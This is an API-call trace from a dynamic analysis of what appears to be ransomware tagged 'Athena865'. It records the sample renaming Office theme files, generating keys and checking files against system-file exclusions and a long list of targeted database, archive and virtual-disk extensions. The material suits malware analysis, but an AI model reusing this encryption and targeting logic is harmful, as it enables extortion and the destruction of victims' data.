lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0065.628] lstrcmpiW (lpString1="Executive.thmx", lpString2=".") returned 1 [0065.628] lstrcmpiW (lpString1="Executive.thmx", lpString2="..") returned 1 [0065.628] lstrcmpiW (lpString1="Executive.thmx", lpString2="windows") returned -1 [0065.628] lstrcmpiW (lpString1="Executive.thmx", lpString2="bootmgr") returned 1 [0065.628] lstrcmpiW (lpString1="Executive.thmx", lpString2="temp") returned -1 [0065.628] lstrcmpiW (lpString1="Executive.thmx", lpString2="pagefile.sys") returned -1 [0065.628] lstrcmpiW (lpString1="Executive.thmx", lpString2="boot") returned 1 [0065.628] lstrcmpiW (lpString1="Executive.thmx", lpString2="ids.txt") returned -1 [0065.628] lstrcmpiW (lpString1="Executive.thmx", lpString2="ntuser.dat") returned -1 [0065.628] lstrcmpiW (lpString1="Executive.thmx", lpString2="perflogs") returned -1 [0065.628] lstrcmpiW (lpString1="Executive.thmx", lpString2="MSBuild") returned -1 [0065.628] lstrlenW (lpString="Executive.thmx") returned 14 [0065.629] lstrcpyW (in: lpString1=0x241e8b2, lpString2="Executive.thmx" | out: lpString1="Executive.thmx") returned="Executive.thmx" [0065.629] lstrlenW (lpString="Executive.thmx") returned 14 [0065.629] lstrlenW (lpString="Athena865") returned 9 [0065.629] lstrcmpiW (lpString1="tive.thmx", lpString2="Athena865") returned 1 [0065.629] lstrlenW (lpString=".dll") returned 4 [0065.629] lstrcmpiW (lpString1="Executive.thmx", lpString2=".dll") returned 1 [0065.629] lstrlenW (lpString=".lnk") returned 4 [0065.629] lstrcmpiW (lpString1="Executive.thmx", lpString2=".lnk") returned 1 [0065.629] lstrlenW (lpString=".ini") returned 4 [0065.629] lstrcmpiW (lpString1="Executive.thmx", lpString2=".ini") returned 1 [0065.629] lstrlenW (lpString=".sys") returned 4 [0065.629] lstrcmpiW (lpString1="Executive.thmx", lpString2=".sys") returned 1 [0065.629] lstrlenW (lpString="Executive.thmx") returned 14 [0065.629] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Executive.thmx.Athena865") returned 77 [0065.629] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Executive.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\executive.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Executive.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\executive.thmx.athena865"), dwFlags=0x1) returned 1 [0065.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Executive.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\executive.thmx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0065.630] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=55112) returned 1 [0065.631] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0065.631] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0065.631] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.632] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xda50, lpName=0x0) returned 0x17c [0065.633] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xda50) returned 0x100000 [0065.635] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0065.636] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0065.636] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.637] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11e9de00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ae6080, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x11e9de00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x100a8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Flow.thmx", cAlternateFileName="FLOW~1.THM")) returned 1 [0065.637] lstrcmpiW (lpString1="Flow.thmx", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0065.637] lstrcmpiW (lpString1="Flow.thmx", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0065.637] lstrcmpiW (lpString1="Flow.thmx", lpString2=".") returned 1 [0065.637] lstrcmpiW (lpString1="Flow.thmx", lpString2="..") returned 1 [0065.637] lstrcmpiW (lpString1="Flow.thmx", lpString2="windows") returned -1 [0065.637] lstrcmpiW (lpString1="Flow.thmx", lpString2="bootmgr") returned 1 [0065.637] lstrcmpiW (lpString1="Flow.thmx", lpString2="temp") returned -1 [0065.637] lstrcmpiW (lpString1="Flow.thmx", lpString2="pagefile.sys") returned -1 [0065.637] lstrcmpiW (lpString1="Flow.thmx", lpString2="boot") returned 1 [0065.637] lstrcmpiW (lpString1="Flow.thmx", lpString2="ids.txt") returned -1 [0065.637] lstrcmpiW (lpString1="Flow.thmx", lpString2="ntuser.dat") returned -1 [0065.637] lstrcmpiW (lpString1="Flow.thmx", lpString2="perflogs") returned -1 [0065.637] lstrcmpiW (lpString1="Flow.thmx", lpString2="MSBuild") returned -1 [0065.638] lstrlenW (lpString="Flow.thmx") returned 9 [0065.638] lstrcpyW (in: lpString1=0x241e8b2, lpString2="Flow.thmx" | out: lpString1="Flow.thmx") returned="Flow.thmx" [0065.638] lstrlenW (lpString="Flow.thmx") returned 9 [0065.638] lstrlenW (lpString="Athena865") returned 9 [0065.638] lstrlenW (lpString=".dll") returned 4 [0065.638] lstrcmpiW (lpString1="Flow.thmx", lpString2=".dll") returned 1 [0065.638] lstrlenW (lpString=".lnk") returned 4 [0065.638] lstrcmpiW (lpString1="Flow.thmx", lpString2=".lnk") returned 1 [0065.638] lstrlenW (lpString=".ini") returned 4 [0065.638] lstrcmpiW (lpString1="Flow.thmx", lpString2=".ini") returned 1 [0065.638] lstrlenW (lpString=".sys") returned 4 [0065.638] lstrcmpiW (lpString1="Flow.thmx", lpString2=".sys") returned 1 [0065.638] lstrlenW (lpString="Flow.thmx") returned 9 [0065.638] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Flow.thmx.Athena865") returned 72 [0065.638] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Flow.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\flow.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Flow.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\flow.thmx.athena865"), dwFlags=0x1) returned 1 [0065.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Flow.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\flow.thmx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0065.639] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=65704) returned 1 [0065.639] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0065.640] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0065.640] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.640] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x103b0, lpName=0x0) returned 0x17c [0065.642] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x103b0) returned 0x100000 [0065.645] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0065.645] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0065.645] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.653] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe565700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b0c1e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe565700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xf814, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Foundry.thmx", cAlternateFileName="FOUNDR~1.THM")) returned 1 [0065.653] lstrcmpiW (lpString1="Foundry.thmx", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0065.653] lstrcmpiW (lpString1="Foundry.thmx", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0065.653] lstrcmpiW (lpString1="Foundry.thmx", lpString2=".") returned 1 [0065.653] lstrcmpiW (lpString1="Foundry.thmx", lpString2="..") returned 1 [0065.653] lstrcmpiW (lpString1="Foundry.thmx", lpString2="windows") returned -1 [0065.656] lstrcmpiW (lpString1="Foundry.thmx", lpString2="bootmgr") returned 1 [0065.656] lstrcmpiW (lpString1="Foundry.thmx", lpString2="temp") returned -1 [0065.656] lstrcmpiW (lpString1="Foundry.thmx", lpString2="pagefile.sys") returned -1 [0065.657] lstrcmpiW (lpString1="Foundry.thmx", lpString2="boot") returned 1 [0065.657] lstrcmpiW (lpString1="Foundry.thmx", lpString2="ids.txt") returned -1 [0065.657] lstrcmpiW (lpString1="Foundry.thmx", lpString2="ntuser.dat") returned -1 [0065.657] lstrcmpiW (lpString1="Foundry.thmx", lpString2="perflogs") returned -1 [0065.657] lstrcmpiW (lpString1="Foundry.thmx", lpString2="MSBuild") returned -1 [0065.657] lstrlenW (lpString="Foundry.thmx") returned 12 [0065.657] lstrcpyW (in: lpString1=0x241e8b2, lpString2="Foundry.thmx" | out: lpString1="Foundry.thmx") returned="Foundry.thmx" [0065.658] lstrlenW (lpString="Foundry.thmx") returned 12 [0065.658] lstrlenW (lpString="Athena865") returned 9 [0065.659] lstrcmpiW (lpString1="ndry.thmx", lpString2="Athena865") returned 1 [0065.659] lstrlenW (lpString=".dll") returned 4 [0065.659] lstrcmpiW (lpString1="Foundry.thmx", lpString2=".dll") returned 1 [0065.659] lstrlenW (lpString=".lnk") returned 4 [0065.659] lstrcmpiW (lpString1="Foundry.thmx", lpString2=".lnk") returned 1 [0065.659] lstrlenW (lpString=".ini") returned 4 [0065.659] lstrcmpiW (lpString1="Foundry.thmx", lpString2=".ini") returned 1 [0065.659] lstrlenW (lpString=".sys") returned 4 [0065.659] lstrcmpiW (lpString1="Foundry.thmx", lpString2=".sys") returned 1 [0065.659] lstrlenW (lpString="Foundry.thmx") returned 12 [0065.659] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Foundry.thmx.Athena865") returned 75 [0065.659] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Foundry.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\foundry.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Foundry.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\foundry.thmx.athena865"), dwFlags=0x1) returned 1 [0065.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Foundry.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\foundry.thmx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0065.661] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=63508) returned 1 [0065.661] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0065.662] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0065.662] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.662] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xfb20, lpName=0x0) returned 0x17c [0065.665] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xfb20) returned 0x100000 [0065.670] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0065.671] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0065.671] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.671] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0065.671] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0065.671] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0065.671] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0065.671] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0065.671] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0065.672] CloseHandle (hObject=0x17c) returned 1 [0065.672] CloseHandle (hObject=0x154) returned 1 [0065.672] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0065.672] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0065.672] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0065.673] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b224e00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b0c1e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4b224e00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xd2e0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Grid.thmx", cAlternateFileName="GRID~1.THM")) returned 1 [0065.673] lstrcmpiW (lpString1="Grid.thmx", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0065.673] lstrcmpiW (lpString1="Grid.thmx", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0065.673] lstrcmpiW (lpString1="Grid.thmx", lpString2=".") returned 1 [0065.673] lstrcmpiW (lpString1="Grid.thmx", lpString2="..") returned 1 [0065.673] lstrcmpiW (lpString1="Grid.thmx", lpString2="windows") returned -1 [0065.673] lstrcmpiW (lpString1="Grid.thmx", lpString2="bootmgr") returned 1 [0065.673] lstrcmpiW (lpString1="Grid.thmx", lpString2="temp") returned -1 [0065.673] lstrcmpiW (lpString1="Grid.thmx", lpString2="pagefile.sys") returned -1 [0065.673] lstrcmpiW (lpString1="Grid.thmx", lpString2="boot") returned 1 [0065.673] lstrcmpiW (lpString1="Grid.thmx", lpString2="ids.txt") returned -1 [0065.673] lstrcmpiW (lpString1="Grid.thmx", lpString2="ntuser.dat") returned -1 [0065.673] lstrcmpiW (lpString1="Grid.thmx", lpString2="perflogs") returned -1 [0065.673] lstrcmpiW (lpString1="Grid.thmx", lpString2="MSBuild") returned -1 [0065.673] lstrlenW (lpString="Grid.thmx") returned 9 [0065.673] lstrcpyW (in: lpString1=0x241e8b2, lpString2="Grid.thmx" | out: lpString1="Grid.thmx") returned="Grid.thmx" [0065.673] lstrlenW (lpString="Grid.thmx") returned 9 [0065.673] lstrlenW (lpString="Athena865") returned 9 [0065.673] lstrlenW (lpString=".dll") returned 4 [0065.673] lstrcmpiW (lpString1="Grid.thmx", lpString2=".dll") returned 1 [0065.673] lstrlenW (lpString=".lnk") returned 4 [0065.673] lstrcmpiW (lpString1="Grid.thmx", lpString2=".lnk") returned 1 [0065.673] lstrlenW (lpString=".ini") returned 4 [0065.673] lstrcmpiW (lpString1="Grid.thmx", lpString2=".ini") returned 1 [0065.673] lstrlenW (lpString=".sys") returned 4 [0065.673] lstrcmpiW (lpString1="Grid.thmx", lpString2=".sys") returned 1 [0065.673] lstrlenW (lpString="Grid.thmx") returned 9 [0065.673] lstrlenW (lpString="bak") returned 3 [0065.673] lstrcmpiW (lpString1="hmx", lpString2="bak") returned 1 [0065.673] lstrlenW (lpString="ba_") returned 3 [0065.673] lstrcmpiW (lpString1="hmx", lpString2="ba_") returned 1 [0065.673] lstrlenW (lpString="dbb") returned 3 [0065.673] lstrcmpiW (lpString1="hmx", lpString2="dbb") returned 1 [0065.674] lstrlenW (lpString="vmdk") returned 4 [0065.674] lstrcmpiW (lpString1="thmx", lpString2="vmdk") returned -1 [0065.674] lstrlenW (lpString="rar") returned 3 [0065.674] lstrcmpiW (lpString1="hmx", lpString2="rar") returned -1 [0065.674] lstrlenW (lpString="zip") returned 3 [0065.674] lstrcmpiW (lpString1="hmx", lpString2="zip") returned -1 [0065.674] lstrlenW (lpString="tgz") returned 3 [0065.674] lstrcmpiW (lpString1="hmx", lpString2="tgz") returned -1 [0065.674] lstrlenW (lpString="vbox") returned 4 [0065.674] lstrcmpiW (lpString1="thmx", lpString2="vbox") returned -1 [0065.674] lstrlenW (lpString="vdi") returned 3 [0065.674] lstrcmpiW (lpString1="hmx", lpString2="vdi") returned -1 [0065.674] lstrlenW (lpString="vhd") returned 3 [0065.674] lstrcmpiW (lpString1="hmx", lpString2="vhd") returned -1 [0065.674] lstrlenW (lpString="vhdx") returned 4 [0065.674] lstrcmpiW (lpString1="thmx", lpString2="vhdx") returned -1 [0065.674] lstrlenW (lpString="avhd") returned 4 [0065.674] lstrcmpiW (lpString1="thmx", lpString2="avhd") returned 1 [0065.674] lstrlenW (lpString="db") returned 2 [0065.674] lstrcmpiW (lpString1="mx", lpString2="db") returned 1 [0065.674] lstrlenW (lpString="db2") returned 3 [0065.674] lstrcmpiW (lpString1="hmx", lpString2="db2") returned 1 [0065.674] lstrlenW (lpString="db3") returned 3 [0065.674] lstrcmpiW (lpString1="hmx", lpString2="db3") returned 1 [0065.674] lstrlenW (lpString="dbf") returned 3 [0065.674] lstrcmpiW (lpString1="hmx", lpString2="dbf") returned 1 [0065.674] lstrlenW (lpString="mdf") returned 3 [0065.674] lstrcmpiW (lpString1="hmx", lpString2="mdf") returned -1 [0065.674] lstrlenW (lpString="mdb") returned 3 [0065.674] lstrcmpiW (lpString1="hmx", lpString2="mdb") returned -1 [0065.674] lstrlenW (lpString="sql") returned 3 [0065.674] lstrcmpiW (lpString1="hmx", lpString2="sql") returned -1 [0065.674] lstrlenW (lpString="sqlite") returned 6 [0065.675] lstrcmpiW (lpString1="d.thmx", lpString2="sqlite") returned -1 [0065.675] lstrlenW (lpString="sqlite3") returned 7 [0065.675] lstrcmpiW (lpString1="id.thmx", lpString2="sqlite3") returned -1 [0065.675] lstrlenW (lpString="sqlitedb") returned 8 [0065.675] lstrcmpiW (lpString1="rid.thmx", lpString2="sqlitedb") returned -1 [0065.675] lstrlenW (lpString="xml") returned 3 [0065.675] lstrcmpiW (lpString1="hmx", lpString2="xml") returned -1 [0065.675] lstrlenW (lpString="$er") returned 3 [0065.675] lstrcmpiW (lpString1="hmx", lpString2="$er") returned 1 [0065.675] lstrlenW (lpString="4dd") returned 3 [0065.675] lstrcmpiW (lpString1="hmx", lpString2="4dd") returned 1 [0065.675] lstrlenW (lpString="4dl") returned 3 [0065.675] lstrcmpiW (lpString1="hmx", lpString2="4dl") returned 1 [0065.675] lstrlenW (lpString="^^^") returned 3 [0065.675] lstrcmpiW (lpString1="hmx", lpString2="^^^") returned 1 [0065.675] lstrlenW (lpString="abs") returned 3 [0065.675] lstrcmpiW (lpString1="hmx", lpString2="abs") returned 1 [0065.675] lstrlenW (lpString="abx") returned 3 [0065.675] lstrcmpiW (lpString1="hmx", lpString2="abx") returned 1 [0065.675] lstrlenW (lpString="accdb") returned 5 [0065.675] lstrcmpiW (lpString1=".thmx", lpString2="accdb") returned -1 [0065.675] lstrlenW (lpString="accdc") returned 5 [0065.675] lstrcmpiW (lpString1=".thmx", lpString2="accdc") returned -1 [0065.675] lstrlenW (lpString="accde") returned 5 [0065.675] lstrcmpiW (lpString1=".thmx", lpString2="accde") returned -1 [0065.675] lstrlenW (lpString="accdr") returned 5 [0065.675] lstrcmpiW (lpString1=".thmx", lpString2="accdr") returned -1 [0065.675] lstrlenW (lpString="accdt") returned 5 [0065.675] lstrcmpiW (lpString1=".thmx", lpString2="accdt") returned -1 [0065.675] lstrlenW (lpString="accdw") returned 5 [0065.675] lstrcmpiW (lpString1=".thmx", lpString2="accdw") returned -1 [0065.675] lstrlenW (lpString="accft") returned 5 [0065.675] lstrcmpiW (lpString1=".thmx", lpString2="accft") returned -1 [0065.675] lstrlenW (lpString="adb") returned 3 [0065.676] lstrcmpiW (lpString1="hmx", lpString2="adb") returned 1 [0065.676] lstrlenW (lpString="adb") returned 3 [0065.676] lstrcmpiW (lpString1="hmx", lpString2="adb") returned 1 [0065.676] lstrlenW (lpString="ade") returned 3 [0065.676] lstrcmpiW (lpString1="hmx", lpString2="ade") returned 1 [0065.676] lstrlenW (lpString="adf") returned 3 [0065.676] lstrcmpiW (lpString1="hmx", lpString2="adf") returned 1 [0065.676] lstrlenW (lpString="adn") returned 3 [0065.676] lstrcmpiW (lpString1="hmx", lpString2="adn") returned 1 [0065.676] lstrlenW (lpString="adp") returned 3 [0065.676] lstrcmpiW (lpString1="hmx", lpString2="adp") returned 1 [0065.676] lstrlenW (lpString="alf") returned 3 [0065.676] lstrcmpiW (lpString1="hmx", lpString2="alf") returned 1 [0065.676] lstrlenW (lpString="ask") returned 3 [0065.676] lstrcmpiW (lpString1="hmx", lpString2="ask") returned 1 [0065.676] lstrlenW (lpString="btr") returned 3 [0065.676] lstrcmpiW (lpString1="hmx", lpString2="btr") returned 1 [0065.676] lstrlenW (lpString="cat") returned 3 [0065.676] lstrcmpiW (lpString1="hmx", lpString2="cat") returned 1 [0065.676] lstrlenW (lpString="cdb") returned 3 [0065.676] lstrcmpiW (lpString1="hmx", lpString2="cdb") returned 1 [0065.676] lstrlenW (lpString="ckp") returned 3 [0065.676] lstrcmpiW (lpString1="hmx", lpString2="ckp") returned 1 [0065.676] lstrlenW (lpString="cma") returned 3 [0065.676] lstrcmpiW (lpString1="hmx", lpString2="cma") returned 1 [0065.676] lstrlenW (lpString="cpd") returned 3 [0065.676] lstrcmpiW (lpString1="hmx", lpString2="cpd") returned 1 [0065.676] lstrlenW (lpString="dacpac") returned 6 [0065.676] lstrcmpiW (lpString1="d.thmx", lpString2="dacpac") returned -1 [0065.676] lstrlenW (lpString="dad") returned 3 [0065.676] lstrcmpiW (lpString1="hmx", lpString2="dad") returned 1 [0065.676] lstrlenW (lpString="dadiagrams") returned 10 [0065.676] lstrlenW (lpString="daschema") returned 8 [0065.677] lstrcmpiW (lpString1="rid.thmx", lpString2="daschema") returned 1 [0065.677] lstrlenW (lpString="db-journal") returned 10 [0065.677] lstrlenW (lpString="db-shm") returned 6 [0065.677] lstrcmpiW (lpString1="d.thmx", lpString2="db-shm") returned -1 [0065.677] lstrlenW (lpString="db-wal") returned 6 [0065.677] lstrcmpiW (lpString1="d.thmx", lpString2="db-wal") returned -1 [0065.677] lstrlenW (lpString="dbc") returned 3 [0065.677] lstrcmpiW (lpString1="hmx", lpString2="dbc") returned 1 [0065.677] lstrlenW (lpString="dbs") returned 3 [0065.677] lstrcmpiW (lpString1="hmx", lpString2="dbs") returned 1 [0065.677] lstrlenW (lpString="dbt") returned 3 [0065.677] lstrcmpiW (lpString1="hmx", lpString2="dbt") returned 1 [0065.677] lstrlenW (lpString="dbv") returned 3 [0065.677] lstrcmpiW (lpString1="hmx", lpString2="dbv") returned 1 [0065.677] lstrlenW (lpString="dbx") returned 3 [0065.677] lstrcmpiW (lpString1="hmx", lpString2="dbx") returned 1 [0065.677] lstrlenW (lpString="dcb") returned 3 [0065.677] lstrcmpiW (lpString1="hmx", lpString2="dcb") returned 1 [0065.677] lstrlenW (lpString="dct") returned 3 [0065.677] lstrcmpiW (lpString1="hmx", lpString2="dct") returned 1 [0065.677] lstrlenW (lpString="dcx") returned 3 [0065.677] lstrcmpiW (lpString1="hmx", lpString2="dcx") returned 1 [0065.677] lstrlenW (lpString="ddl") returned 3 [0065.677] lstrcmpiW (lpString1="hmx", lpString2="ddl") returned 1 [0065.677] lstrlenW (lpString="dlis") returned 4 [0065.677] lstrcmpiW (lpString1="thmx", lpString2="dlis") returned 1 [0065.677] lstrlenW (lpString="dp1") returned 3 [0065.677] lstrcmpiW (lpString1="hmx", lpString2="dp1") returned 1 [0065.677] lstrlenW (lpString="dqy") returned 3 [0065.677] lstrcmpiW (lpString1="hmx", lpString2="dqy") returned 1 [0065.677] lstrlenW (lpString="dsk") returned 3 [0065.677] lstrcmpiW (lpString1="hmx", lpString2="dsk") returned 1 [0065.677] lstrlenW (lpString="dsn") returned 3 [0065.677] lstrcmpiW (lpString1="hmx", lpString2="dsn") returned 1 [0065.678] lstrlenW (lpString="dtsx") returned 4 [0065.678] lstrcmpiW (lpString1="thmx", lpString2="dtsx") returned 1 [0065.678] lstrlenW (lpString="dxl") returned 3 [0065.678] lstrcmpiW (lpString1="hmx", lpString2="dxl") returned 1 [0065.678] lstrlenW (lpString="eco") returned 3 [0065.678] lstrcmpiW (lpString1="hmx", lpString2="eco") returned 1 [0065.678] lstrlenW (lpString="ecx") returned 3 [0065.678] lstrcmpiW (lpString1="hmx", lpString2="ecx") returned 1 [0065.678] lstrlenW (lpString="edb") returned 3 [0065.678] lstrcmpiW (lpString1="hmx", lpString2="edb") returned 1 [0065.678] lstrlenW (lpString="epim") returned 4 [0065.678] lstrcmpiW (lpString1="thmx", lpString2="epim") returned 1 [0065.678] lstrlenW (lpString="fcd") returned 3 [0065.678] lstrcmpiW (lpString1="hmx", lpString2="fcd") returned 1 [0065.678] lstrlenW (lpString="fdb") returned 3 [0065.678] lstrcmpiW (lpString1="hmx", lpString2="fdb") returned 1 [0065.678] lstrlenW (lpString="fic") returned 3 [0065.678] lstrcmpiW (lpString1="hmx", lpString2="fic") returned 1 [0065.678] lstrlenW (lpString="flexolibrary") returned 12 [0065.678] lstrlenW (lpString="fm5") returned 3 [0065.678] lstrcmpiW (lpString1="hmx", lpString2="fm5") returned 1 [0065.678] lstrlenW (lpString="fmp") returned 3 [0065.678] lstrcmpiW (lpString1="hmx", lpString2="fmp") returned 1 [0065.678] lstrlenW (lpString="fmp12") returned 5 [0065.678] lstrcmpiW (lpString1=".thmx", lpString2="fmp12") returned -1 [0065.678] lstrlenW (lpString="fmpsl") returned 5 [0065.678] lstrcmpiW (lpString1=".thmx", lpString2="fmpsl") returned -1 [0065.679] lstrlenW (lpString="fol") returned 3 [0065.679] lstrcmpiW (lpString1="hmx", lpString2="fol") returned 1 [0065.679] lstrlenW (lpString="fp3") returned 3 [0065.679] lstrcmpiW (lpString1="hmx", lpString2="fp3") returned 1 [0065.679] lstrlenW (lpString="fp4") returned 3 [0065.679] lstrcmpiW (lpString1="hmx", lpString2="fp4") returned 1 [0065.679] lstrlenW (lpString="fp5") returned 3 [0065.679] lstrcmpiW (lpString1="hmx", lpString2="fp5") returned 1 [0065.679] lstrlenW (lpString="fp7") returned 3 [0065.679] lstrcmpiW (lpString1="hmx", lpString2="fp7") returned 1 [0065.679] lstrlenW (lpString="fpt") returned 3 [0065.679] lstrcmpiW 